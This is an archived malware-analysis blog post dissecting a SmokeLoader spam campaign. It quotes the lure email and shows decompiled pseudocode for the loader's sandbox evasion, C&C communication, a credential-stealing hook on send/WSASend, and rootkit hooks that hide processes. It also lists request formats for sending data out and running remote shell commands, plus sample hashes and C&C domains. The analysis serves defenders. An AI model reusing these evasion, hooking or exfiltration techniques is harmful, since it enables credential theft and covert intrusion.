Dissecting SmokeLoader (or Yulia's sweet ass proposition)

Archived: 2026-04-05 17:44:25 UTC

In mid-August I started receiving some emails from Yulia. She wanted me to take a look at her sweet ass:

I was not sure about it, but after receiving some more emails like this I took a look (I received the last one on the 10th of September). Then I found out that this was the beginning of a SmokeLoader campaign, I was really disappointed :(Out of spite, I started analyzing it ;p

These are some of the headers and the message body:

```
Date:   Wed, 13 Aug 2014 12:55:56 -0400
From:   "Yulia" <negligentjsd185@dialectologic.in>
Subject: My new  photo

Hi it is Yulia fuck me ass at night. Look at my sweet ass on a photo I wait for you
```

I don't want to duplicate the information already published about this loader, so you can check the post published in July by StopMalvertising and what my colleague Michael Sandee said about it in 2012. Since then, SmokeLoader (known as Dofoil too) has modified the encryption to communicate with the C&C, added some extra plugins, etc.

After executing the binary you can easily spot that something is happening in your computer because you can see some strange POST requests to some known URLs. These URLs are extracted from the registry, opening the key *Software\Microsoft\Windows\CurrentVersion\Uninstall* and looking at the values of *HelpLink* and *URLInfoAbout* for the installed programs.

7	967.355333	172.168.200.129	172.168.200.2	DNS	71 Standard query A www.msn.com
12	967.478922	172.168.200.129	131.253.13.21	HTTP	237 GET / HTTP/1.1
15	967.707979	131.253.13.21	172.168.200.129	HTTP	373 HTTP/1.1 302 Found (text/html)
38	6052.689569	172.168.200.129	172.168.200.2	DNS	81 Standard query A support.microsoft.com
39	6052.689672	172.168.200.129	172.168.200.2	DNS	76 Standard query A www.fiddler2.com
46	6052.745955	172.168.200.129	157.56.121.21	HTTP	477 POST / HTTP/1.1 (application/x-www-form-urlencoded)
50	6052.818901	172.168.200.129	198.61.131.236	HTTP	741 POST /.com HTTP/1.1 (application/x-www-form-urlencoded)
80	6052.931588	198.61.131.236	172.168.200.129	HTTP	1478 HTTP/1.1 404 Not Found (text/html)
144	6052.984922	157.56.121.21	172.168.200.129	HTTP	396 HTTP/1.1 200 OK (text/html)
149	6056.166918	172.168.200.129	172.168.200.2	DNS	76 Standard query A go.microsoft.com
154	6056.334765	172.168.200.129	134.170.189.4	HTTP	543 POST /fwlink/?LinkId=45396 HTTP/1.1 (application/x-www-form-
156	6056.491426	134.170.189.4	172.168.200.129	HTTP	537 HTTP/1.1 302 Found (text/html)
163	6056.571528	172.168.200.129	157.56.121.21	HTTP	680 POST / HTTP/1.1 (application/x-www-form-urlencoded)
251	6056.799910	157.56.121.21	172.168.200.129	HTTP	298 HTTP/1.1 200 OK (text/html)
256	6060.174979	172.168.200.129	172.168.200.2	DNS	81 Standard query A www.vb-decompiler.org
261	6060.280125	172.168.200.129	178.63.163.77	HTTP	529 POST / HTTP/1.1 (application/x-www-form-urlencoded)
270	6060.345338	178.63.163.77	172.168.200.129	HTTP	169 HTTP/1.1 200 OK (text/html)
277	6060.574903	172.168.200.129	134.170.189.4	HTTP	608 POST /fwlink/?LinkId=51019 HTTP/1.1 (application/x-www-form-
279	6060.732874	134.170.189.4	172.168.200.129	HTTP	583 HTTP/1.1 302 Found (text/html)
286	6472.142383	172.168.200.129	172.168.200.2	DNS	73 Standard query A offnamerty.ru
300	8212.174011	172.168.200.129	46.149.111.3	HTTP	659 POST / HTTP/1.1 (application/x-www-form-urlencoded)
2480	8554.891909	172.168.200.129	172.168.200.2	DNS	81 Standard query A support.microsoft.com
2481	8554.892038	172.168.200.129	172.168.200.2	DNS	76 Standard query A www.fiddler2.com
2488	8554.928812	172.168.200.129	157.56.121.21	HTTP	477 POST / HTTP/1.1 (application/x-www-form-urlencoded)
2492	8555.012640	172.168.200.129	198.61.131.236	HTTP	741 POST /.com HTTP/1.1 (application/x-www-form-urlencoded)
2548	8555.122860	198.61.131.236	172.168.200.129	HTTP	1478 HTTP/1.1 404 Not Found (text/html)
2588	8555.164732	157.56.121.21	172.168.200.129	HTTP	512 HTTP/1.1 200 OK (text/html)

Really, first you see a GET request to *http://www.msn.com/*, then a “random” number of POST requests with encoded data sent to familiar sites for you, the malware communication and, finally, a “random” number of POST requests again. I guess this is just to hide the real communication but sending strange POST requests is not really a good way to hide it...

It is possible that you don't see any request. If this is the case then you have been detected by our friend ;) The binary includes an anti-analysis function and you will end up in an endless loop if you are not able to pass all the checks.

```
void __cdecl Anti_Analysis_Loop()
{
  CHAR *v0; // esi@1
  signed int v1; // ebx@6
  LPCSTR *v2; // edi@6
  signed int v3; // ebx@10
  const CHAR **v4; // edi@10
  unsigned int v5; // ebx@14
  int v6; // edi@14
  int volumeSerialNumber; // [sp+80h] [bp-1Ch]@3
  int v8; // [sp+84h] [bp-18h]@10
  int v9; // [sp+88h] [bp-14h]@10

  v0 = AllocateMemory(1u);
  GetModuleFileNameA(0, v0, 0x104u);
  if ( FindString(v0, "sample", 1) != -1 )
    InfiniteSleepLoop();
  GetVolumeInformationA("C:\\", 0, 0x80u, &volumeSerialNumber, 0, 0, 0, 0);
  if ( volumeSerialNumber == 0xCD1A40 || volumeSerialNumber == 0x70144646 )
    InfiniteSleepLoop();
  v1 = 2;
  v2 = blacklistedDllsArray;
  do
  {
    if ( GetModuleHandleA(*v2) )
      InfiniteSleepLoop();
    ++v2;
    --v1;
  }
  while ( v1 );
```

SmokeLoader performs the following checks (some of them are mentioned here):

- Checks if the module filename contains “sample”.
- Checks if the C: volume serial number is 0xCD1A40 (*ThreatExpert*) or 0x70144646 (*Malwr*).
- Checks if the modules “sbiedll” (*Sandboxie*) and “dbghelp” are loaded.

- Checks the disk enum key (*System\CurrentControlSet\Services\Disk\Enum*) looking for:
  - qemu
  - virtual
  - vmware
  - xen
- Checks if *AutoItv3*, *CCleaner* and *WIC* are installed looking in the registry (*Software\Microsoft\Windows\CurrentVersion\Uninstall*). It seems that **this is a fingerprint for Joe Sandbox**.

In order to know if it is being running in a 64-bits operating system it checks the segment register GS:

```
mov     ax, gs
test    ax, ax
jz      short loc_2934D0
inc     ds:is64Bits
```

Depending on that it will use a different way to inject in *explorer.exe* and then to create an additional *svchost.exe* process. This is well explained in the third step of this AVG blog post talking about ZeuS (one of these techniques uses the functions *FindWindow*, *GetWindowLongA* and *SetWindowLongA*). It seems that this part of the code was copy/pasted too...

After these steps, the malware is initialized, setting up the User-Agent (by default, *Mozilla/4.0*), sending the GET request to MSN, creating the botid, the mutex, etc. Then is when the fun starts, sending these fake POST requests and finally communicating with the C&C.

```
BOOL __stdcall ExecuteLoader(const WCHAR *a1, int seller)
{
  void *v2; // eax@2
  int request; // ebx@6
  const CHAR *url; // eax@6
  HANDLE v5; // eax@7
  char v7; // [sp+4h] [bp-8h]@6
  unsigned int v8; // [sp+8h] [bp-4h]@2

  responseCode = 0;
  sub_2914C0();
  WSAStartup(0x202u, (LPWSADATA)dword_296038);
  SetUserAgent();
  while ( 1 )
  {
    v2 = (void *)SendRequest(MSN_URL[0], (int)&dword_294810, (SIZE_T *)&v8, 0, 0);
    if ( v2 )
    {
      if ( v8 >= 10 )
        break;
    }
    FreeMemory(v2);
    Sleep(6000u);
  }
  FreeMemory(v2);
  CreateBotid(botId, 0x2E43313C);
  wsprintfA(botIdFinal, "%s%s", botId, "FF");
  CreateMutexA(0, 0, (LPCSTR)botId);
  if ( RtlGetLastWin32Error() == ERROR_ALREADY_EXISTS )
  {
    request = (int)AllocateMemory(1u);
    wsprintfA(request, "%s%s%s", offset_cmdGetloadLogin[0], botId, paramUrlDoubles[0]);
    url = (const CHAR *)DecodeString(*(int *)encryptedServers);
    SendRequest(url, request, (SIZE_T *)&v7, 0, 1);
    ExitProcess(0);
  }
  InstallAndSettings(a1);
  serverIndex = 1;
  v5 = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)InitMaliciousActivityThread, 0, 0, (LPDWORD)&dword_296004);
  return CloseHandle(v5);
}
```

The server URLs are hardcoded in the binary, using some basic XOR operations to encode the data. There are at least two blocks with the following format:

```
[XOR_BYTE_KEY][BYTE2][BYTE3][BYTE3][SIZE][DATA]
```

One block could be the main URL and the other the backup URL, but in the samples that I have analyzed both blocks contain the same URLs. Every 10 minutes a POST request is sent to the SmokeLoader C&C, looking for new tasks. The request data has this format:

```
cmd=getload&login=$BOTID&sel=jopa1&ver=5.1&bits=0&admin=1&hash=&r=$GARBAGE
```

- *cmd*: Command sent to the panel.
- *login*: botid with format %08X%08X%08X%08X%08X.
- *sel*: seller id. It is hardcoded in the binary and identifies the user related to the campaign.
- *ver*: OS version.
- *bits*: If the OS is 64-bits or not.
- *admin*: If the malware is running with Admin privileges or not.
- *hash*: Disk binary hash (in the case it is a persistent version).
- *r*: Just garbage data. This is the only parameter included in the fake requests mentioned above.

This data is encrypted with a modified version of RC4, resulting in a block like this:

```
[SIZE][KEY][ENCRYPTED_DATA]
```

Then a 404 response is received, but containing interesting data. This data is divided in a first block of digits, terminated with a null byte, and an encrypted block. The block of digits can be easily decoded taking 3-digits groups and converting them to their corresponding bytes (“214”=0xD6). The first resultant byte is the XOR key to be used with the rest.

After decoding the response we obtain something like this:

```
Smk0|:|socks_rules=127.0.0.1|:||:|hosts_rules=127.0.0.1 localhost|:||:|plugin_size=60500
```

Depending on the character located in the 4th position (“0” in this case) the loader will perform a different action, asking for additional binaries to be installed, updating itself, removing itself from the system, etc. The second block received in the 404 response contains some plugins encrypted with the same modified RC4 algorithm. There is a 21-byte header and then another 21-byte header per plugin. The plugin header has the following format:

```
[PLUGIN_SIZE(4)][PLUGIN_TYPE(1)][KEY(16)]
```

Besides being encrypted, the plugins are also compressed with UPX and all of them are exporting the function "*Work*". These are the plugins that I have seen so far:

- *AVInfo.dll*: It is a Delphi plugin which uses the **Windows Management Instrumentation (WMI) to obtain the installed Antivirus and Firewall products**. If the Antivirus product is not detected that way, it checks the running processes to find Antivirus processes:
    - avp.exe (Kaspersky)

- ccsvchst.exe (Norton)
- dwservice.exe (DrWeb)
- dwengine.exe (DrWeb)
- avgnt.exe (Avira)
- avguard.exe (Avira)
- malwaredefender.exe (Malware Defender)

After gathering this information, it is reported to the control panel using this format: "*cmd=avinfo&login=%s&info=%s777%s*". The Antivirus and Firewall product names are separated by "777".

```
CHAR *__cdecl CreateAvFwInfoRequest()
{
  CHAR *avRequest; // esi@1
  void *v1; // ecx@1
  int detectedAV; // ebx@1
  void *v3; // ecx@1
  int *installedFirewall; // eax@3

  avRequest = AllocateMemory(1u);
  CoInitialize(0);
  detectedAV = LookForInstalledAVFirewall(0, v1);
  if ( lstrlenA(detectedAV) < 7 )
    detectedAV = LookForAVProcesses();
  installedFirewall = LookForInstalledAVFirewall(1u, v3);
  wsprintfA(avRequest, "%s%s777%s", avUrlParams, detectedAV, installedFirewall);
  CoUninitialize();
  return avRequest;
}
```

- *FTPGrab.dll*: This module injects code in every process in execution, decoding another plugin called *Grabber.dll*. This new plugin will hook the functions "*send*" and "*WSASend*" to collect users/passwords for the FTP, POP3, SMTP and IMAP protocols. Then it will include this information in the request "*cmd=ftpgrab&login=%s&grab=*" and adding the following lines:
  - pop3://%s:%s@%s:%d
  - ftp://%s:%s@%s:%d
  - imap://%s:%s@%s:%d
  - smtp://%s:%s@%s:%d

```
void __cdecl __noreturn HookSendFunctionsThread()
{
  int v0; // eax@1
  int sendAddress; // eax@1
  int v2; // ecx@1
  int v3; // eax@2
  int v4; // eax@5
  int wsaSendAddress; // eax@5
  int v6; // ecx@5
  int v7; // eax@6

  SuspendResumeThread(1);
  v0 = GetModuleHandleA("ws2_32.dll");
  sendAddress = GetProcAddress(v0, "send");
  if ( !sendAddress )
  {
    v3 = LoadLibraryA("ws2_32.dll");
    sendAddress = GetProcAddress(v3, "send");
  }
  if ( sendAddress )
    HookFunction(v2, off_40301C, sendAddress, FakeSend, off_40301C);
  v4 = GetModuleHandleA("ws2_32.dll");
  wsaSendAddress = GetProcAddress(v4, "WSASend");
  if ( !wsaSendAddress )
  {
    v7 = LoadLibraryA("ws2_32.dll");
    wsaSendAddress = GetProcAddress(v7, "WSASend");
  }
  if ( wsaSendAddress )
    HookFunction(v6, off_403018, wsaSendAddress, FakeWSASend, off_403018);
  byte_404928 = 0;
  byte_404929 = 0;
  SuspendResumeThread(0);
  ExitThread(0);
}
```

- *shell.dll*: If the server response includes the "*shell_rules*" parameter, then the command specified is executed and the result is sent to the panel, encoded with Base64. The request used for this will be "*cmd=getshell&login=%s&shell=$RESULT&run=ok*".

These plugins are stored on disk encrypted with the same modified RC4 algorithm, using the botid as key. Besides these, there is another plugin, called *Rootkit.dll*, used to hook the functions *ZwQuerySystemInformation*, *ZwQueryDirectoryFile* and *ZwEnumerateValueKey* to try to hide the malware process, files and registry keys.

```
void __stdcall __noreturn StartAddress(int a1)
{
  HMODULE v1; // eax@1
  FARPROC v2; // eax@1
  HMODULE v3; // eax@3
  FARPROC v4; // eax@3
  HMODULE v5; // eax@5
  FARPROC v6; // eax@5

  SuspendResumeThread(1);
  v1 = GetModuleHandleA("ntdll");
  v2 = GetProcAddress(v1, "ZwQuerySystemInformation");
  if ( v2 )
    HookFunction(v2, FakeQuerySystemInformation, off_402018);
  v3 = GetModuleHandleA("ntdll");
  v4 = GetProcAddress(v3, "ZwQueryDirectoryFile");
  if ( v4 )
    HookFunction(v4, FakeQueryDirectoryFile, off_402014);
  v5 = GetModuleHandleA("ntdll");
  v6 = GetProcAddress(v5, "ZwEnumerateValueKey");
  if ( v6 )
    HookFunction(v6, FakeEnumerateValueKey, OriginalEnumerateValueKey);
  SuspendResumeThread(0);
  ExitThread(0);
}
```

These are some of the samples used to write this blog post:

```
4fe5f69ca1ab813e829479004f262ccd
db3745ec149818567de5d2dfc3477d25
a4b7e8bf966ee5c6e2c731e9047968d4
e1ee0990ffd0da3df13c1206a6bb9a4b
86ca12376ab5e27534029d23b2952a28
```

The C&C URLs related to these binaries are:

```
hxxp://joppwer.in/
hxxp://offnamerty.ru/
hxxp://jtp888888.ru/
```
